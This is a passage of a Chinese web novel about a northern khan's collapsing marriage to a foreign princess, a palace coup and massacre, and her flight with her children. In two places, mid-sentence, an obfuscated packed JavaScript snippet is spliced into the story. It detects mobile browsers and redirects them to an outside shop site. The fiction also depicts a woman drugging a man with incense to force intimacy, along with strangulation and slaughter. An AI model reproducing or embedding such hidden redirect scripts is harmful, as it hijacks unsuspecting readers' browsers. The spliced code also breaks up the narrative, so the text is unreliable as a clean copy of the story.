湛卢耸耸肩,脸上显出畏惧:“几年前玉衡统领瞒报消息,被王上打了一百廷杖、罚俸一年。打得那叫一个实在,躺了半年才下地,那以后哪个吃了熊心豹子胆,敢瞒报消息?” “不过眼下,王上已启程巡军,这也不算什么急事,等他巡到朔宁府再一并上报吧。” 冯睢连连感叹:“你们啊也真是的,这些苗头都瞧不出来,眼见着发展到这步才……” “咱们只盯着二十三部单于、北宛王及朝中诸重臣”,湛卢嘟囔道,“谁闲得没事去盯自家公主和一个内卫统领。” 冯睢想到元氏宗亲,伯兄、娣妇、叔嫂一大家子,瞧着亲亲热热实际颇有分寸,何况翊国真正的内卫统领就是王后。叔嫂、王后与内卫统领……着实算隐蝠卫的认知盲区了。 于是也很无奈,只得缄默摇头作罢。 六月十九清晨,冯彬送别探视妻子的冯睢,走到端明门下时,他突然开口请求:“劳烦延恩侯替我禀告翊王陛下,我想纳妃了。” 冯睢目光复杂地端详他片刻,问道:“可有人选,草原姑娘还是中原闺秀?” 冯彬笑了笑:“没有,不想要出身太好的、太貌美的,只要她能每天跟我说说话就好。” 冯睢点点头,迅速转身,不愿让冯彬看到他眼中的恻隐。 冯彬迎着晨曦,在门下站立良久,摊开左手注视片刻、抚了抚腰间,都空空如也。 那天,也是这样的清晨,被放逐的冯栩走过端明门时,冯彬就在城楼上遥遥注视。看他举起左手凝视片刻,再伸出右手温柔地抚过腰间。 与兄长决裂后,他连稍加掩饰都不愿意,将以往珍敛密藏的定情信物尽数加身。 他的左腕戴着一只铜跳脱,连接处雕成含苞待放的雪莲。与元昙从不离身的那只银跳脱,形制一模一样,只是比那只铜的更小些。 何以致契阔?绕腕双跳脱。 他的腰间佩着一只香囊,善骑射的人目力都很好,所以冯彬清晰地看见,香囊上绣着的,是只会盛开在中原的并蒂莲。 下有并根藕,上有并头莲。色同心复同,藕异心无异。 人给了他,心给了他,命给了他。 所以,自己到底算个什么? 六月二十三,延恩侯冯睢为北宛汗王冯彬进献美人五名,王欣然纳之。 102. 破镜难圆 柘枝城,延恩侯府的书房内,冯睢目不转睛盯着眼前的不速之客,半晌无语。 “这是那达慕节各国来使的名单和座次”,开阳将文书和图纸一样样地摆到书案上,“这是仪典流程……” “打住打住”,冯睢不解地看着他,“给我这些做什么?” 开阳揉了揉太阳穴:“我有事要离开一阵子,还得带走不少人,那达慕节你帮我盯着些。” 冯睢扶额:“内卫的活我做不了,你不是专门盯着这儿吗,谁能调动你?” “自然是王上,也有些咱们的心意”,开阳叹了口气,“王后娘娘这一胎不知怎的,怀得很艰难,听御医说西羌高原上有几样药材得用,我想稳妥些、亲自走一趟,兄弟们也都想尽点力。” 冯睢暗道,这才是正经王后、正经内卫,又想到那桩子事,心乱如麻。 于是也叹了口气:“王后娘娘如今不好,七公主这不上不下的,我都不晓得怎么跟王上说。” 开阳满脑子官司:“是啊,要么不干,要干就把事做绝,大不了换个国君,只要听话不好战,王上认了就是。如今这不上不下的,膈应人……” 冯睢摇摇头:“冯彬已非吴下阿蒙,没那么好换,这事就算捅到王上那儿,估计也得再选宗室女,给他换个新阏氏。” “未必”,开阳思忖片刻道,“你送去的那几个美人,冯彬碰都没碰,天天除了抱孩子就是发呆。我瞅着他们俩没准还能转圜,如果能在王上到朔宁之前平息,咱们也就多一事不如少一事。” “也不算欺君,宁拆十座庙不拆一桩婚嘛。” . 银红的帘幕在风中轻拂,夕阳从圆形的雕花窗撒进一室碎金,卧房里飘着酸苦的药味。她鸦羽般的长睫在苍白脸颊投下阴影,墨黑的发丝如流水枕在脑后。只消静静躺在那儿,就像一幅绝美的画。 半个月不到,她肉眼可见地消瘦了,却无损半分美丽,反而增加了几许楚楚动人。 因为他那天及时收手,她胸口的伤并不深,眼下已好了大半。她却连日水米不进,毫无求生欲。 冯彬在床前坐下,伸出手去、想摸一摸她的脸,却在半空收了回去。 就那样一直枯坐到半夜,月上中天的时候,昏睡的人醒了,静静凝视着他。许久之后,她平静地开口:“我们和离吧。” “晚了”,冯彬弯了弯唇角,“说和离就和离,哪那么便宜?” 他眸中忽然显出几分狠戾,猛地伸出手、箍住她颀长的颈,一分分收拢。她被掐得喘不过气,却没有挣扎、甚至没试图伸手拉开他的手,反而紧紧攥住身下床单,竭力克制自己的求生本能。 冯彬失控笑出声来,眼眶蓄满泪水,慢慢松开手。 “其实你不必如此,我根本下不了手。” “昙儿,我今天等在这儿,就只想问问你。五年来,我敬你、爱你、疼你、把你放在心尖上,可你呢……你把我当成什么?” “五年,哪怕是块石头,也该捂热了。” “我真就如此面目可憎,以至于在你心里,这五年的夫妻情分,还抵不过你同别人短短数月?” 月光下,元昙凄然笑了:“阿彬,不是这样的,我从未厌憎过你。” “我厌憎的,只是在我最不想成婚的时候、把我们绑在一起的命运。我怯懦、无能,不敢与嫡母嫡兄争斗,只敢欺负最无辜的你。” “事已至此,你想怎么处置,都是我应得。” 冯彬认真听着,忽然轻声开口:“当年,他们都说你是自愿下降,事实并非如此,对么?” “能否告诉我,为什么?” 元昙一瞬不瞬注视着他:“因为翊国需要一个听话的北宛汗王,还需要一桩联姻来绑定那个汗王。” “没人希望自己是根绳索,可我上无父母、下无兄弟可依靠,只能遵循嫡兄嫡母的心愿,作绑定你的那根绳索。” 冯彬无言以对,抬手轻轻摩挲着她颈上已结痂的刀痕,许久才幽幽地问:“你让卓力格图答应过你什么,以至于他在决斗时不惜性命?” 元昙没有回答,只移开目光、怔怔看向窗外,月色下,颊边两行泪水闪着幽微的光。 冯彬已然懂了。 他低下头,滴落的泪水无声融入衣襟,却恍若未觉,只抬手去拭她颊边泪水,忽然俯身抱住她,声音轻柔而恍惚。 “昙儿,我们已有两个孩子了,他们都很想你。” 这话落入元昙耳中,倏然变作另一重意思,森寒顺着她脊柱缠绕上来,冲得她头皮发麻、浑身颤栗,下意识就要挣开。 她竭力冷静下来,任由冯彬将她抱得越来越紧,收回目光,与他幽幽对视:“阿彬,你此时来找我,只是因为孩子么?” 冯彬恍惚地笑了:“是因为你。每每看着孩子,我都会想,既然你愿意为我生儿育女,总那么有些时候,心里是有我的,这就够了。” “能不能继续做我的阏氏?不要再把自己当什么绳索,撇去北宛汗王的身份,我也只是这世间最平常的男子。” 元昙定定凝视着他,泪如泉涌,噎在喉咙、一个字都说不出来。 晚了,太晚了。 刚结识他时,她疯狂恋慕着苻洵,无论被苻洵如何视如敝屣,仍疯狂追逐、殒身不悔,甚至做出自己在清醒时都没眼看的下作事。 好不容易放下苻洵,又爱上他的亲弟弟,却从没有正眼看过他。当她开始发现他的好,想试一试与他从头来过,裂痕早已深不可测。 一切都晚了。 “别哭了,瞧着心疼。”冯彬起身从水盆里拧了张湿毛巾,轻轻替她擦拭微肿的眼圈。 梨花带雨,最惹人怜惜不过如此。 他忍不住俯下身抱住她,半晌后低头,将冰凉的薄唇覆上去,她柔软的双臂环住了他脖子,将他拉得更近了些。 前所未有的经历令他身躯一僵,一阵狂喜涌上心头,呼吸骤然急促。 她忍不住轻声呜咽,撩得他心里一阵痒,左臂撑住床,右臂扣在她脑后,将她带得坐了起来,一边拥着她亲吻,一边隔着薄薄的素纱寝衣紧贴在一起厮磨。 双唇恋恋不舍分开,他滚烫的手按在她双肩,注视着她双目,眸中是淹没一切的灼热渴求,却极尽克制地认真问她。 “你真的愿意吗?” 元昙没有说话,只牵住他一只手,引导着伸进素纱衣内,任由他剥落那层轻若无物的遮掩,双手游走在她每一寸肌肤上。 他眼圈湿润了,贴在她耳边哑声请求:“昙儿,我们再要一个孩子吧。” 元昙心头一跳,涌出新的希望。 是啊,再生一个孩子,纯粹的、完全属于他的骨血。 从这个完全属于他们的孩子开始,试一试重新开始。 . 七月十八,水草丰美、牛肥马壮,那达慕盛会如期举行。 柘枝城以南的阿茹娜雪山下,早已圈起大片跑马场。悠扬的马头琴响彻草原,伴随着寥远的牧歌,上百名少年骑着快马竞相追逐,一排排羽箭激射钉入箭靶。 另筑有摔跤的竞技台,被人群围得水泄不通、时不时爆发出一阵喝彩,热闹非凡。 跑马场最北,搭着高阔的观景台,高台上雪白的帐篷鳞次栉比, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196116|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像无数融为一体的云朵。二十三部单于都携家带口、远道而来赴会,以示臣服和敦睦。 而别国使臣的帐篷就不甚好看了,稀稀拉拉、门可罗雀,毕竟那达慕节是专属北宛的传统节日。冯延的时代,列国大都看几分薄面;而今的北宛已向翊国俯首称臣,自然今非昔比。 这冷清的十来顶帐篷,还是列国看在冯彬是由翊国拥立的份上。 冯睢坐在北宛王的金顶王帐中,悄悄觑着尊位上的两人,他们谈笑风生、如胶似漆,仿佛从未发生过任何不快。 暗暗松了口气。 他又放眼扫视全场,目光掠过使臣席位,突然想起开阳说的,特别留意荣国,于是搜肠刮肚回忆了一番使臣名单。 荣国使团的主使是鸿胪寺卿阮明华,携典客署官员若干。谨慎起见,他趁更衣往那边帐篷溜达了几圈,并借机搭讪了几句,人员都对得上。 并无开阳说的建业侯,甚至连长得特别好看的年轻男子都没有。 他心下稍安,若无其事逛回王帐,正见到元昙的傅母苏嬷嬷进来,悄悄对元昙耳语了几句。 元昙站起来,面带忧虑对冯彬说:“兕儿和思洛跑丢了,妾需回王宫加派人手寻找。” 冯彬不便提早离席,焦躁地看了看元昙,似也要起身。 元昙忙笑着宽慰他:“他们常玩的就那几个地方,陛下勿忧,妾自己先回去看看,实在不行再来禀报。” 冯彬无奈地点头应允。 于是,元昙对冯彬敛衽一礼,款款走下高台,由女奴搀扶着登上步辇,去往柘枝城的方向。 过了约莫半个时辰,又进来一名狼卫,对冯彬悄声说了几句话,正观赏赛马的冯彬脸色一沉,站起身匆匆走下高台。也不等步辇,径直牵了匹快马、纵身跃上马背,向着柘枝城风掣电奔。 似有所感地,冯睢下意识瞥了眼他绝尘而去的背影,心头涌出一股不安。 这是所有人最后一次看到冯彬。 那天,冯彬回了柘枝城,再没出来。 那晚,冯睢也回了柘枝城,也再没能出来。 七月十八夜,竞技结束、二十三部单于和列国使臣入柘枝城休憩。 凌晨,睡梦中的人被整齐的铁靴踏地声、纷乱的马蹄声惊醒。推开门窗,只见皎洁的月光下,映照出噩梦般的场景。 密实的铁甲反射着月光,柘枝城各大路口、天街、四方城门,充塞着驰骋的战马,如钢铁的洪流将他们围得水泄不通。 而那马背之上,武士手中高高扬起的□□,正淋淋沥沥往下淌着鲜血。 惊恐的人们慌不择路,纷纷跑进马厩、牵上健马想逃离,刚奔至院门便被绊马索绊得人仰马翻。 被摔得狼狈不堪的人,连滚带爬四散奔逃,皆被骑兵如切瓜剖菜般砍得血肉横飞。 而那些侥幸逃到城门的人,等待他们的是一场又一场凌厉的箭雨。 充盈满耳的,是箭矢破空的尖啸声、利刃刮过人骨的摩擦声、喊到一半戛然而止的惨叫、血流声、蹄铁踩过尸骸的破碎声。 多年后,这次政变被史书称作“七月大屠”,史载“城中积尸如乱麻,手足相枕,血入水碧赭,化为五色……秽臭熏人,复经日炙,其气愈甚。” 这一夜,三千狼卫控制了王宫、列国使馆及二十三部单于下榻之处,瓯托部、哲里木部的骑兵则控制了城内外主要路口,莫说战报,连只苍蝇都飞不出去。 冯睢谨记使命,携三百武卒拼死冲进王宫,却只发现冯彬冰凉的遗体,他的胸口插着一把短刀、血染红了大片衣襟。 元昙和两个孩子早已不知所踪。 103. 曾经沧海难为水 朔门关外的耶拉部,天高风急,白羽褐斑的白隼在天穹盘旋,飞得又快又高,唳声撕破长空。 地面传来一声呼哨,白隼一个猛子俯冲下来,临近地面时放缓速度,悠悠飞了一圈,铁钩般坚硬的喙和爪猛然张开,扑向下方的少年。 少年骑在一匹骨架高大的健马上,一手执缰绳、一臂平举。白隼的利爪紧紧扣住他平举那条胳膊的护臂,扑腾两下、收起了翅羽。 少年身后的随从忙驱马过来,惊喜地说:“阿布回来了。” 少年从随从手中接过一条鲜肉,喂给白隼,面带微笑看它不断撕咬、血淋淋地吃完,然后振翅高飞、围着他盘旋。 他手臂高高举起,斩钉截铁地挥下! “出发!” 双腿一收,骑乘的烈马一声咆哮,直奔东北方向疾驰而去。 在他的身后,驰骋着的骏马和武士不计其数,潮水般漫过山丘和低凹,在茫茫草原上席卷而过。 . 天似穹庐,笼盖四野,硕大银白的月亮下,一碧无垠的草原上,疾驰的三人一马无比渺小。 狂风夹杂着草叶和尘土迎面扑来,割得她双颊生疼,急促呼吸太长时间,肺部痛得像要炸开。腰臀被颠簸得快散架了,双腿在马鞍上摩擦得血肉模糊、干涸了又被磨破,已麻木得失去知觉。 她却不敢停歇片刻,只前倾身体、埋着头拼命鞭策马臀,深红色的绫罗长裙在风中鼓荡、拖曳在身后如一朵盛大的血花。 快些、再快些! 身后传来追兵的马嘶人沸,她竭尽全力快马加鞭,却仍敌不过对方的疾行如风。 终于,马匹力量耗尽,口吐白沫向前栽倒,惯性将她和紧紧捆在身上的儿女一并带飞。 她在空中急遽下坠,眼见就要跌得粉身碎骨。 电光火石间,一双有力的手臂接住了她,搂住他们母子三人后退数步,再荡悠悠旋了几圈,化去坠地撞击的力道,然后立即松开她:“抱歉。” 她稳住身形后,看见对面站着另一道熟悉身影,正小心地去解绑在她背后的思源。她惊恐地放声尖叫,攥住其中一只手臂,狠狠咬住她手腕。 那人被咬的皮开肉绽、鲜血直流,却不闪不避,只静静看她发泄。方才接住她的少年出手如电,瞬时摁住了她。 手臂触上她时,她再度尖叫,拳打脚踢要挣开。然而无论她如何挣扎,摁住她的手臂纹丝不动。紧接着,身上一松,思源和思洛已被解下。 上方传来熟悉的声音。 “秦川,我这好了,放开她。” 熟悉的甘甜木香从上方袭来。 元昙蜷缩成一团,颤栗着抬头,只见那双漂亮的桃花眼殊无笑意,正目不转睛看着两个孩子,带着痛心、恻隐,还有一丝愠怒。 苻洵让人搭了个简易帐篷,从包袱里取出厚毡垫在地上,再铺上一层蓉簟。先抱起呆若木鸡的思源放进帐篷,再让秦川扶她进去,坐到思源身边,又从另一匹马背上卸下薄被、替他们盖上。 “兕儿只是受了惊吓,睡一觉缓缓就成,小公主气息很弱,得服药。”苻洵坐进帐篷,左手抱着奄奄一息的思洛,右手端着一碗温水,拈了点药粉,温声哄着,慢慢给女婴灌下。 平时总哭哭啼啼的思洛,在他怀中十分安静,甚至伸出小手戳了戳他脸颊,发出“咯咯”笑声。 苻洵眼神温和,放下药碗,轻柔地抚着思洛的后背,有一搭没一搭晃着。渐渐地,思洛合眼睡去,呼吸均匀而绵长。 苻洵把思洛也放在她身边,低声劝慰:“长公主,你已逃了三天两夜,再不歇息人会垮。” 又低声招呼秦川,从包袱中拿来一块暖玉雕成的长命锁,放到思洛怀里,轻声问:“小公主叫什么?” “思洛。” 苻洵低头注视着满脸泪痕的元昙,语气带着恳求:“草原又要乱了,你可以去灵昌,我有办法护住两个孩子……和你。” 元昙眸中泪光浮动,微微扬起下颌:“不,回不去了。” 她狠狠盯着苻洵,笑容冷酷而嘲讽:“苻洵,你让我感觉自己是这世上最糟糕的女人,无论我落魄到何境地,都轮不到你来怜悯,也不可能仰赖你苟活。” . 永平二年春,三月初三上巳节,碧宁书院开山收徒。 元昙以庶务繁忙为由,在碧宁书院住下了。忙完庶务之后的黄昏,她不时骑马去往半山居小坐片刻。 她知道苻洵心系别人,也知道罗敷有夫,却还是不能自抑地想念。 春风徐来漫山绿软,覆压戎陵山整个冬天的冰雪都已消解,只剩山顶一簇洁白、掩在云岫间。 半山居有人打理,依然维持着苻洵离去之时的模样,像极了她空荡荡的、生疼的胸腔。 他曾折过的竹枝、他曾绘过的雨花石、他饮水曾用过的细瓷杯、他买醉时饮剩的半坛花雕。 屋后竹枝发出簌簌声响,她忽地身子一僵——并未有风。 怀着莫大期望冲进竹林,春雨后微潮的泥地上,散落着许多凌乱的足印,像是许多人在林中踩过,而最清晰、最轻的那两行,向着通往山顶的斜窄小径上。 心没来由地狂跳,她不顾泥地湿滑,顺着脚印跟了上去,果然在山腰一块凸出的大石上看到了苻洵。 他穿着玄色短打,衣上沾了些泥,散漫地歪坐着,俯视着山脚花团锦簇的洛京,一臂在背后撑地,一手拿着酒壶,就着潮冷的山风、有一搭没一搭饮着。 像脑后长了眼睛,他突然出声:“小心。” 紧接着,她脚底一滑,身子扑了出去。说时迟那时快,他身形一动,舒臂扶起即将跌倒的她。 扶起她后,他依然坐回原位,继续看着风景饮酒。她走到他身边坐下,顺着他目光远眺。 恍惚记得,那些画卷里,有一张并肩骑马的,画中风景像极了洛京。 同样的睹物思人,同样是遥不可及的人,天底下的可怜人啊、还真是数不胜数。 苻洵突然开口:“你已成婚,再来这里实在不妥。” 她忽然感觉被莫大的荒诞和讽刺笼罩,失声笑出来:“她也已成婚,你为何还要来?” 苻洵握酒壶的手蓦地一抖,极快平复下来,若无其事地摇头:“无论她成婚与否,我心悦她,与她无关。” 话一出口,倏然意识到什么,偏过头、蹙眉看向她。 那天,他被她留下喝了许多酒,喝到后来脸色发红、头晕目眩。他意识到什么,却未置一词、更没有恼怒,只斜靠在窗下,目不转睛地看向屋后竹林。 她默不作声看了很久,盖上芙蓉粉香炉,依兰香的浓郁甜味弥散满屋。她跪坐到他对面,情不自禁俯身去吻他。他额上起了层薄汗、身躯发颤,却仍然推开她,柔声说:“公主,不行。” 她不甘:“听人说,你的府邸有侍妾,还有不少歌女舞姬。她们都可以亲近你,我为何不行?” 苻洵唇角笑意十分讥诮:“因为我纳她们进门、锦衣玉食地供养她们,就是为了子嗣。你金枝玉叶,实在不该如此自甘堕落。” 她笑了:“可我从不觉得,那是堕落。” 苻洵还想推开她,但药性已发散开,令他使不上力,于是他拔出短匕扎向自己大腿。 他血流如注,命都不要了,还一心拒绝她。 那是她前半生经受的最大侮辱。 那晚,她还是没回碧宁书院。那以后的小半月,她每天很晚才回碧宁书院。 发现月事推迟后,她没有丝毫惊惶,想起苻洵,心头涌起报复的畅快。她坚持生下这个孩子,无论是姓冯还是姓元,她已决意将孩子养大。 哪怕这可能招致家宅不宁、和离或被休弃,甚至被嫡兄盛怒之下重罚,她亦不惧。 那以后,她依然要操办碧宁书院的扩建,依然不时去半山居、流连忘返。 她万万想不到还能遇见他,有了兕儿后,他来洛京的次数反而更多,甚至会问及兕儿。那以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14201088|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,她每次去洛京都带着孩子,让他隔着窗户或帘子关怀几眼。 他有儿有女,却不知为何,对这个跟他毫无关系的孩子如此上心。 过了两年,她又有了思洛,苻洵知道以后,一改素来温柔,疾言厉色质问她是不是疯了。 她咯咯笑起来,说自己权当如愿以偿、与他儿女双全。 那以后,苻洵再也没来过半山居。 两国形势愈发严峻,都说必有一战,她所有亲人、包括他深爱的褚王后,全部磨刀霍霍、枕戈待旦,做梦都想杀了他。 在这同仇敌忾的紧张氛围里,她总是回想起与他在半山居的岁月,飘忽美丽得像幻觉。 那段时间,他偶尔会问:“你是翊国公主,为何从没有像他们那样想除掉我?” 为何?大概因为,那个有父王、母妃、二哥、三哥、八弟的翊国,才是值得她守护的故国吧。 而今这,由嫡兄、嫡母掌权的陌生国度,只是她的枷锁、满目仇敌的伤心地。 . 夜风呼啸着吹过无垠草海,像无数交织着的呜咽声和歌声。 帐篷前燃起一堆篝火,焰光随风摇曳,照得对面的脸庞晦明莫测,还是那样精致漂亮、风度卓然,岁月格外厚待他,半分不显沧桑。 思源和思洛都已呼吸平稳地睡去。 元昙跪坐在篝火边,缓缓摊开自己双掌,翻来覆去细看,眼神绝望、唇角扬起苦涩的笑。 苻洵透过火焰,眼神复杂地看着她,叹了口气:“别看了。” 想了想,挪动位置坐到她身边:“你既不愿随我去灵昌,是否想好要去何处?柘枝城到处是元旻的眼线,你回不去昇阳了。” 元昙的动作僵住了,神情变得狰狞,挣开双手拔出腰间的小刀,攒足力气挥臂、刺向他胸口。绝望地嘶喊:“你走就走了,为什么还要出现,再来打搅我的生活?” 苻洵无动于衷,任那锋利的刀刺破衣襟,在胸口洇出一片红。从头到尾,没有皱一丝眉。 元昙柔弱,短匕刺入并不深。 她刺到力竭,松开刀柄后、就着满手鲜血捂住脸,嚎啕大哭。 苻洵低下头,看看扎在胸口的刀,又看看她:“我去柘枝城原本另有公务,并非故意要搅扰。” 元昙冷笑:“你连他都抓来了,还说不是故意。” 苻洵挑了挑眉、欲言又止,等她哭得累了、心绪平稳后,才柔声问:“你要去何处?想好了告诉我,我送你们。孩子们还小,不能这样颠簸。” “关你何事?”元昙厉声尖叫,凝视着自己沾满鲜血的手,泪水干涸在脸上也浑然不觉,麻木地哑声重复:“因为你,我无处可去了……” 苻洵沉吟半晌,正要说些什么,忽听急切的马蹄声动地而来,密集如雨,轰鸣如雷。 值夜的郎琊飞奔过来,指着身后边跑边喊:“主子,好多骑兵!” 苻洵抬头瞥了一眼西边,淡淡地说:“看到了。”却纹丝未动,收回视线、依然拨弄着篝火堆。 秦川大骇,钻进帐篷一边收拾东西、一边嘟囔:“那咱们还待这儿?” 郎琊大口喘气,跑到他们面前站定:“不然呢,咱们这几匹马,还跑得过北宛骑兵?” 自然是,跑不过。 寥寥数语间,烟尘铺天盖地,数万匹高头大马已狂奔到眼前,马背上的武士高声笑着嚷着,驱马绕着他们转圈,越绕包围圈越小,将他们围了个水泄不通。 碎草尘埃被激得四处乱飞,噎满鼻腔和咽喉,令人窒息。 为首的马匹冲进圈内,一路狂奔到他们帐篷前、才堪堪勒住缰绳,少年兔起鹘落地翻身下马,潇洒而利索。 瞄了眼元昙,大步流星走到苻洵面前,直勾勾注视着那张精致的脸,笑了:“你是思源的生父?” 苻洵垂眸,专注地拨着火堆,没有理他。 紧接着,冯栩举起手中弯刀,一字一字道。 “我要与你决斗!” 104. 病魂常似秋千索 冯栩提出与苻洵决斗的刹那,秦川和郎琊面面相觑。他们跟随苻洵征战多年,从未见过有人提出如此离谱的要求。 苻洵仍纹丝不动,慢悠悠拨弄着柴堆,置若罔闻。直等到冯栩耐心即将耗尽,才缓缓抬眸,笑了:“挺有种的狼崽子。” 随即空手将双臂举过头顶,毫不在意地说:“敝人一介文弱,不会武艺,弃权。” 冯栩脊背倏然绷紧,攥着弯刀的手因愤怒微微发颤。 苻洵漫不经心地起身,对白袍卫挥了挥手,众人开始窸窸窣窣收拾行李,预备拔营离去。 冯栩看他走开了,才略微放松些,走到元昙身边坐下,关切地问:“怎么脸色这样差?” 元昙充耳不闻,只低头看着自己双掌。 冯栩定定注视着她:“昙儿,带着孩子随我回柘枝城吧,做我的阏氏。” 岂料,一直怔愣的元昙听到“柘枝城”三个字,如见了鬼般,捂住耳朵凄厉尖叫。 帐篷内的睡得酣甜的孩子被惊醒,思源呆若木鸡、思洛嚎啕大哭,而元昙在尖叫之后再无反应,任由冯栩的随从将孩子抱出来。 抱臂站在旁边的苻洵突然开口:“她既不想回柘枝城,汗王不妨问问她想去何处?” 冯栩抬眸望向苻洵,敌意淡了些,微微躬身一礼:“承蒙抬举,在下目前连柘枝城都未入主,遑论称王。” 苻洵轻嗤:“你们北宛的王座,从来就不在柘枝城,何必急于这一时?” 冯栩眼中透出兴味:“愿闻其详。” 苻洵唇角扬起,不疾不徐道:“今年开春,你随冯彬征服二十三部,威望见长。眼下二十三部皆已臣服于你兄弟二人,你还比冯彬多了三千狼卫和瓯托部的绝对忠诚。” “冯彬东征西讨、一统草原,还没来得及大展拳脚,便替你做了嫁衣。” “如今草原上何人敢直撄其锋?冯栩,从弑兄那一刻起,你已是这草原上实打实的王。” 冯栩笑了,眸中幽光流转:“杀哥哥的不是我,是他骨子里的仁义礼智信。” 苻洵神情讥诮:“冯彬不过披了张凶恶的狼皮,你冯栩的狠辣却是长在骨子里的,你才是这草原上真正的狼王!” 冯栩直勾勾盯着他:“阁下非常有趣,我很喜欢,敢问姓甚名谁,来日拜访。” “不必,若你坐稳了这个王位,往后自然得见”,苻洵闲闲地转过身,进了帐篷,“只怕真到了那天,你会向长生天祈求不要遇上我。” 冯栩伸臂揽住元昙颤抖的肩膀,双眼却戒备地盯向苻洵的背影,一言不发。 苻洵已取了刀出来,指着帐篷吩咐:“把这儿拆了。” 冯栩瞥见他左手中银白的刀鞘,忽然脸色一沉,快如闪电拔出弯刀,贴地而起一道霜雪冷光、挥向苻洵毫无防备的后背。 电光火石间,背对他的苻洵忽然动了,头也不回地往后一扬左手、旋转刀鞘格住弯刀来势,随即右手反到背后、翻腕握住刀柄,行云流水般旋身、划过一道银白的圆弧。 秋水泠泠、寒意森森。 苻洵动作极快,飞星刀在空中挥出重影的刹那,冯栩的弯刀已断作三截,齐刷刷掉落。 却并未就势格杀冯栩,只翻过刀背狠狠往他膝弯一敲,敲得他屈膝跪下,不屑地冷笑:“自取其辱!” “想挑战我,再等二十年吧,狼崽子。” 冯栩晃了晃膝盖,勉强撑直身体站起来,冷笑不语。 苻洵瞥了一眼被裹得严严实实、抱上马背的两个孩子,唇角弯了弯,闲闲地开口:“狼崽子,看在兕儿和思洛的份上,给你一条忠告,要坐稳北宛汗王的位置,别只顾着草原二十三部。” “南方隔着边墙的老邻居,才至关紧要。是战是和,早做打算。” “不过,这个女人可是翊国公主,若你想体面些娶到你的阏氏,柘枝城的那些耳目该如何料理,与元旻的国书该如何叙说,先想想清楚。” 冯栩唇角冷笑渐消,神色凝重地听着,若有所思,眸中光彩越来越亮。 苻洵却不再继续说,纵身跃上马背,率领白袍卫好整以暇地踱步向西行去。 夜风中飘来他凉飕飕的声音:“好好养着兕儿和思洛,狼崽子。” 冯栩望着他远去的背影,漆黑双眸越发幽沉:“思源的生父很强,我很喜欢他。” “我们一起把思源养大,教成草原上最强的巴图鲁,好不好?” “昙儿,你怎么了?” 他收回思绪,仿佛才注意到元昙目光呆愣、惊魂未定,夜风并不寒凉,她却在瑟瑟发抖。忙紧紧搂住她,将她冰凉的双手捂在自己掌心。 “昙儿,仓促起兵,未能照应到你,对不起。” 元昙低头,两行清泪潸然而下。 冯栩静静注视着哭泣的她,眼圈也红了,轻柔地替她拭泪:“别怕,都过去了。” “不,永远都不会过去”,沉默许久的元昙忽然轻轻开口,“我才是最大的罪人。” 气若游丝说完这句,她惨白枯槁的脸上挤出一个悲凉的笑,轻飘飘倒了下去。 . 榻上的人枯槁如纸,双唇没有一丝血色,风带起散落的发丝、拂过她紧闭的双眸,眉心流转着淡淡的黑气。 花圃中的茉莉弥散着淡甜的清香,沁人心脾,她却感知不到。 冯姮坐在榻边,蹙眉聆听御医的禀报。三个孩子乖巧地站在床前,眼中满是忧虑。 承祎轻声问:“祖母,娘亲怎么还不好?” 承徽眼泪汪汪,泣不成声。 承祉哇地哭起来:“娘亲不要我们了。” “打嘴”,冯姮眼圈泛红,低声呵斥,“娘亲这次只是病得重些,喝了药就会好。” 春羽转过回廊走进来,捧着一个细长的锦盒放到桌上:“内卫从西羌寻回的药材,还请御医大人掌眼。” 御医叹了口气:“下官忏愧,娘娘这病发得蹊跷,至今也不知何药能对症。” 听说启程巡军的前两天,这对恩爱夫妻不知怎么吵了架,冯姮得知消息时,舜英已在勤政殿跪了一天一夜,直跪得见红晕倒。 好容易保住母子平安,元旻启程半个月之后,舜英突然又开始发病。先是胸闷、吐得厉害,头晕目眩,与寻常怀妊并无差异,只是反应更强烈。胃口极差,吃什么都味同嚼蜡。 然后就一天天虚弱下去。 收到冯姮消息时,元旻正在萝州大营,伴驾的顾星阑博闻广识,提及西羌高寒雪域,出产的滋补药材效用极好,远非中原药圃种出的可比拟。 元旻思索片刻,唯有身处北宛的开阳方便调动、又对舜英忠心耿耿,于是抱着试试的心态,一封八百里加急送到柘枝城。 舜英的病情却越来越严重。 接连数天高烧不退,却顾及腹中胎儿、无法用药,靠多年习武的体魄终于硬扛了过去。 那场高烧却似在她体内燃起了一把火,将她的精气神烧得近乎枯竭。冯姮命小厨房做了她爱吃的菜,流水般送进来,她却都浅尝辄止,摇头道:“太淡了。” 放了三五倍的盐和香料,她才勉强入口,怀妊时口味重些倒也寻常,冯姮虽有疑虑却并未多想。 直到那天照常去探望她,一进殿就嗅到浓烈的异香,春羽正悄声安排人清理碎了一地的香饼。前几次怀妊时对熏香极敏感的舜英,此刻正坐在窗下静静看书,眼皮都未掀一下。 冯姮忙去拉她:“殿中香味太熏,出去坐吧。” 舜英茫然抬头:“什么香味?” 此后,冯姮小心翼翼、多方试探,终于确定,舜英的味觉和嗅觉消减了。 冯姮怔怔看着缠绵病榻的儿媳,思索着要不要对元旻继续瞒下去。已是七月底,他已巡到西三营之上阳郡,即将北上。 西三营,才是本次巡军的重头。 冯姮踌躇间,昏睡的舜英缓缓睁眼,轻声说:“母后,我会好 